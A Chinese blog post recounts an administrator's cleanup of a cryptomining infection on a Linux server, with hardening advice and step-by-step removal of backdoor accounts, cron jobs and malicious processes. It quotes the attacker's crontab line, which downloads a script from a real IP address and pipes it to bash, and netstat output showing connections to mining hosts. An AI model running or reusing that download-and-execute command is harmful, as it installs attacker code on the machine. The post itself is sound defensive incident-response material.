一大早被监管部门通知,ip访问挖矿地址,不整改要被封禁

于是马上展开排查,每个服务器挨个top完之后cpu利用率并不是很高,一阵纳闷

后来想起来有个深信服防火墙,登上去看看,发现端倪

 

 

好家伙看来是真中招了,为什么之前没发现呢,其实病毒一直在请求下载挖矿木马程序,但是基本都被深信服防火墙拦截了,也就是本机一直在下载挖矿木马,但是木马没有真正跑起来

 

 

 

 

 经过一番查找资料以及研究,最终总算解决了这个挖矿病毒,也对安全防护有了更深的思考

安全防护这块:

  1.减少暴露端口到公网:不是必须,不要暴露到公网,通过vpn和堡垒机来把内网和公网之间做一个隔离(有一个很好的开源堡垒机jumpserver值得研究),通过二级域名来关联服务,可以有效减少暴露的风险,毕竟黑客通过nmap等扫描探测工具可以很轻松的获取端口信息

  2.禁止root登陆:所有机器应该禁止root等管理员账号直接登陆,开启子账号,限制权限,用子账号来启动程序,这样就算黑客通过漏洞控制主机,也只能获得子账号的有限权限

  3.限制ssh登陆ip:内网机器设置 hosts.deny sshd:all ,禁止任何机器登陆,只在hosts.allow里开给少数必须登陆的网段,这样就算黑客登陆内网,也可以最大限度减少二次损失

  4.升级软件版本:定期扫描应用http等服务漏洞,督促开发升级,降低被攻克的风险

  5.加强密码管理:如果比较极端一点,可以把所有机器以及堡垒机,vpn密码等定期更换,堡垒机登陆密码最好引入Authenticator动态密钥加强安全性

  6.加强程序来源管理:软件程序最好从官方渠道获取,docker镜像加强安全审计,避免从程序,docker镜像里带入木马

  7.做好备份:重要数据和系统定期做好备份,以防止最坏的情况发生

 

下面是挖矿木马的处理总结,需要按以下维度依次排查

 

1.查找近期操作命令,获取线索

2 清除问题账号所有数据,以及 .ssh里的后门(包括root)

3 清除定时任务

4. 杀死可疑的进程和删掉可疑的程序文件

5.用防火墙禁用异常ip

6. 查看重要的命令是否有被修改,有的话进行修复

7. 查找被攻击的缘由

8.参照第一个安全防护进行整改

 

处理之前首先了解两个命令 lsattr 和 chattr,这两个是用来查找和修改文件属性的

chattr +i  防止系统中某个关键文件被修改

chattr +a  让某个文件只能往里面追加数据,但不能删除

当删除不了文件和修改文件时首先用lsattr查看这两个属性,通过chattr -ia来去除这个限制

注:有的时候黑客会把chattr kill top等命令除去执行权限并加上ia属性限制

这个时候只能从另外一台主机远程scp chattr 命令到该虚机, 解除top kill ps chattr等相关命令的执行限制

 

 

 

1.查看历史命令,获取线索

#查找历史命令

history

# 查找 home etc 目录下 最近一天(可以适当提前)被修改的文件(如果使用/根目录,文件会很多所以这里指定有怀疑的目录)

find /home -mtime -1 -print

find /etc -mtime -1 -print

 

 

2.清除问题账号所有数据,以及 .ssh里的后门(包括root)

#查找问题账号,发现多了lsb和hilde账号

vi /etc/passwd 

#查找关键文件隐藏权限
lsattr /etc/passwd /etc/shadow /etc/group /etc/gshadow /var/spool/cron/root /home/lsb/.ssh /home/hilde/.ssh /root/.ssh

#去除隐藏权限

chattr -iae /etc/passwd /etc/shadow  /etc/group /etc/gshadow /var/spool/cron/root /home/lsb/.ssh/authoriz* /home/hilde/.ssh/authoriz*  /root/.ssh/authoriz*

#删除shadow文件重复项
chmod 644 /etc/shadow

 

vi /etc/shadow

#删除后门用户以及关联数据
userdel -r -f lsb
userdel -r -f hilde

#检查 root .ssh路径下的文件,防止后门

 

3.清除定时任务

crontab -l 中有定时任务

*/30 * * * * /bin/cdz -fsSL http://104.192.82.138/s3f1015/a/a.sh | bash > /dev/null 2>&1

crontab -e 是删除不掉的,得从文件入手:

/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。

依次检查这些目录下的文件,发现有连接异常ip,用 lsattr 和 chattr来清除属性并删除

 

4. 杀死可疑的进程和删掉可疑的程序文件

查找异常进程可以从两个维度入手,cpu占用以及网络连接

#cpu占用查找

top

#查找异常网络连接,发先好多对端ip是国外的,保存列表,后面能用到

netstat -aptunl

[root@localhost python]# netstat -apun
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
udp        0      0 0.0.0.0:37472           0.0.0.0:*                           689368/.ddns        
udp        0      0 0.0.0.0:56900           0.0.0.0:*                           689368/.ddns        
udp        0      0 127.0.0.1:323           0.0.0.0:*                           705798/chronyd      
udp6       0      0 ::1:55909               ::1:55909               ESTABLISHED 701061/postmaster   
udp6       0      0 ::1:323                 :::*                                705798/chronyd      
[root@localhost python]# netstat -aptn
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:18083           0.0.0.0:*               LISTEN      2976/emqx           
tcp        0      0 0.0.0.0:27017           0.0.0.0:*               LISTEN      1853/mongod         
tcp        0      0 0.0.0.0:11755           0.0.0.0:*               LISTEN      2592117/nginx: mast 
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      762093/redis-server 
tcp        0      0 127.0.0.1:11883         0.0.0.0:*               LISTEN      2976/emqx           
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      2592117/nginx: mast 
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      2592117/nginx: mast 
tcp        0      0 0.0.0.0:8081            0.0.0.0:*               LISTEN      2976/emqx           
tcp        0      0 0.0.0.0:18002           0.0.0.0:*               LISTEN      2592117/nginx: mast 
tcp        0      0 0.0.0.0:4370            0.0.0.0:*               LISTEN      2976/emqx           
tcp        0      0 0.0.0.0:8883            0.0.0.0:*               LISTEN      2976/emqx           
tcp        0      0 0.0.0.0:8083            0.0.0.0:*               LISTEN      2976/emqx           
tcp        0      0 0.0.0.0:8084            0.0.0.0:*               LISTEN      2976/emqx           
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      701074/sshd         
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      701061/postmaster   
tcp        0      0 0.0.0.0:19001           0.0.0.0:*               LISTEN      2592117/nginx: mast 
tcp        0      0 0.0.0.0:5370            0.0.0.0:*               LISTEN      2976/emqx           
tcp        0      0 0.0.0.0:1883            0.0.0.0:*               LISTEN      2976/emqx           
tcp        0      0 0.0.0.0:11394           0.0.0.0:*               LISTEN      2592117/nginx: mast 
tcp        0      1 10.30.30.113:50470      194.147.115.91:45432    SYN_SENT    688822/./.ddns      
tcp        0      0 10.30.30.113:22         36.152.54.67:6824       ESTABLISHED 129619/sshd: root [ 
tcp        0      1 10.30.30.113:38796      199.247.27.41:443       SYN_SENT    688822/./.ddns      
tcp        0      1 10.30.30.113:52390      178.128.242.134:3333    SYN_SENT    689368/.ddns        
tcp        0    232 10.30.30.113:22         36.152.54.67:29714      ESTABLISHED 263581/sshd: root [ 
tcp        0      1 10.30.30.113:38802      199.247.27.41:443       SYN_SENT    689368/.ddns        
tcp        0      1 10.30.30.113:52388      178.128.242.134:3333    SYN_SENT    688822/./.ddns      
tcp        0      1 10.30.30.113:50468      194.147.115.91:45432    SYN_SENT    689368/.ddns        
tcp6       0      0 :::80                   :::*                    LISTEN      2592117/nginx: mast 
tcp6       0      0 :::22                   :::*                    LISTEN      701074/sshd         
tcp6       0      0 :::5432                 :::*                    LISTEN      701061/postmaster    

 

 

#查找子进程

systemctl status 病毒进程id

#定位问题进程以及子进程文件路径

ll -a /proc/病毒进程id

 #依次杀掉子进程

kill -9 病毒进程id 病毒进程id 病毒进程id

#排查并删除问题进程文件,删不掉用lsattr和chattr去除文件属性

 

5.用防火墙禁用异常ip

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="58.218.198.159" port protocol="tcp"  drop"

 

6.复查

处理完之后重启系统,用netstat -aptunl 和top 命令复查,没有异常即可

 

7.查找原因以及安全加固

 

 

参考文档:

https://www.runoob.com/linux/linux-comm-lsattr.html

https://www.runoob.com/w3cnote/linux-crontab-tasks.html

https://blog.csdn.net/zm96309/article/details/123174783

https://blog.csdn.net/weixin_40918067/article/details/117431325

https://dongshao.blog.csdn.net/article/details/116830299

http://www.manongjc.com/detail/52-hfniphnpmckcnbp.html

https://blog.csdn.net/qq386972715/article/details/122116546

https://blog.csdn.net/a1053765496/article/details/121900552

https://blog.csdn.net/weixin_44766368/article/details/115317941

https://www.cnblogs.com/DeveloperPan/p/linuxfindpidpath.html

https://www.jianshu.com/p/bd91f3f1d4f8

https://anttu.gitee.io/post/2021-01-28-miner_virus_2/

 

posted on 2023-03-30 19:28  06  阅读(313)  评论(0编辑  收藏  举报